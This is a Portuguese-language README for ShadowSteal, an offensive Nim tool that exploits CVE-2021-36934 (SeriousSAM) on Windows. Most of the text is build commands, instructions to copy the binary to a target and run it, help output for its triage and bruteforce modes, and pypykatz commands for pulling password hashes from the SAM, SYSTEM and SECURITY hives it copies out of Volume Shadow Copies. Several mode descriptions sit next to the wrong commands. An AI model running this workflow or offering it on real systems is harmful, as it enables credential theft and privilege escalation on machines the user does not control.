
Implementação pura em Nim para exploração do CVE-2021-36934, o SeriousSAM de escalonamento de privilégios local.
Implementação pura em Nim para explorar o CVE-2021-36934, a Escalação Local de Privilégios (LPE) SeriousSAM. Não é seguro para OPSEC... ainda ;). Não reivindico crédito pela descoberta deste exploit.
Começar com o ShadowSteal agora é mais fácil do que nunca graças ao Docker! Não quer lidar com a instalação de dependências do Nim? Entendi, parceiro! Execute o script Python para criar o ambiente de construção Docker, compilar o binário, transferi-lo de volta para o seu host e, em seguida, matar o container.
Instale o Docker no seu host (consulte a documentação para instruções de instalação para diferentes SOs), depois execute o script Python do ShadowSteal no diretório principal:
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ sudo python3 ShadowSteal.py && cd bin/ && ls -l
Ou, construa a partir do código-fonte instalando o Nim e suas dependências:
$ sudo apt-get install nim
$ nimble install zippy argparse winim
Instale a cadeia de ferramentas MinGW se ainda não estiver instalada.
$ sudo apt-get install mingw-w64
$ git clone https://github.com/HuskyHacks/ShadowSteal.git && cd ShadowSteal
$ make && cd bin/ && ls -l
Transfira para o alvo...
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
Devido a um descuido da Microsoft, usuários comuns têm permissões de leitura sobre o conteúdo da pasta ...\System32\config\ em builds recentes do Windows. Entre outras coisas, isso significa que um usuário de baixo nível tem acesso de leitura aos arquivos SAM, System e Security em ...\System32\config.

Ufa. E o que podemos fazer com isso?
Alguns pesquisadores muito observadores (salve @jonasLyk!) notaram que se um host Windows estiver usando uma configuração específica de restauração do sistema, "Volume Shadow Copies", o host armazena cópias de backup desses arquivos que são acessíveis através do namespace de dispositivo Win32 para essas cópias.


O SAM normalmente está bloqueado durante a operação do host, então acessar o SAM em ...\System32\config\ está fora de questão. Mas essas cópias de volume sombra são válidas para qualquer usuário no host devido a essa configuração incorreta. Muito bom!
ShadowSteal é um binário escrito em Nim para automatizar a enumeração e extração dos arquivos SAM, System e Security dessas cópias sombra. Ele itera pelas possíveis localizações das cópias sombra e, quando encontra um alvo, extrai os arquivos para um diretório zipado (pense na saída do Bloodhound).


Não é nada inovador e o código é meio bagunçado, mas funciona e foi divertido de construir!
Instale o Nim:
$ sudo apt-get install nim
Instale as dependências:
$ nimble install zippy argparse winim
Instale a cadeia de ferramentas MinGW se ainda não estiver instalada:
$ sudo apt-get install mingw-w64
Compile para Windows 64 bits:
$ make
Transfira para o alvo e execute!
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -h
[*] ShadowSteal! Identifica e extrai credenciais que podem ser roubadas devido ao exploit SeriousSAM (CVE-2021-36934). Pesquisa do mais alto para o mais baixo, padrão pesquisando de 100 a 1.
Uso:
[opções]
Opções:
-h, --help
-t, --triage [*] Modo Triagem. Enumeração rápida, tenta encontrar vitórias rápidas.
-bf, --bruteforce [*] Modo Bruteforce. Enumera toda a gama de possíveis localizações (512 a 1). Demora um pouco.
-b, --bezos [?] Modo Jeff Bezos
Limita a busca de localizações a 10 a 1, decrementando a cada tentativa. Rápido e eficaz na maioria dos ambientes.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -t
Pesquisa todas as possíveis localizações (512), decrementando até 1. Tente isso para enumerar completamente o ambiente. Leva alguns minutos.
PS C:\Users\husky\Desktop> .\ShadowSteal.exe -bf
Transfira o diretório de saída de volta para o seu host atacante e extraia os dados com Pypykatz. Para instalar:
$ pip3 install pypykatz
Para executar o Pypykatz:
$ pypykatz registry [yyyyMMddhhmm_SYSTEM] --sam [yyyyMMddhhmm_SAM] --security [yyyyMMddhhmm_SECURITY]

Agora conta com um ambiente de construção Docker pré-empacotado fácil! Basta executar o script ShadowSteal.py para configurar o ambiente Docker, compilar o binário, transferi-lo de volta para o seu host e matar os containers de construção. Funciona! (Alguma montagem necessária, ou seja, você precisa do Docker para executar).
Enxuto e agressivo. Opções de compilação otimizadas adicionadas. Grande aumento de desempenho devido à otimização do compilador, o bruteforce completo agora ocorre quase instantaneamente. Muito obrigado ao @orbitalgun pelo pseudo PR, glória à sua casa e nome!
Entrem, rapazes, esse desastre está rolando. Este lançamento foi meu protótipo rápido e foi bem terrível lol. Mas foi muito divertido de construir! Recursos:
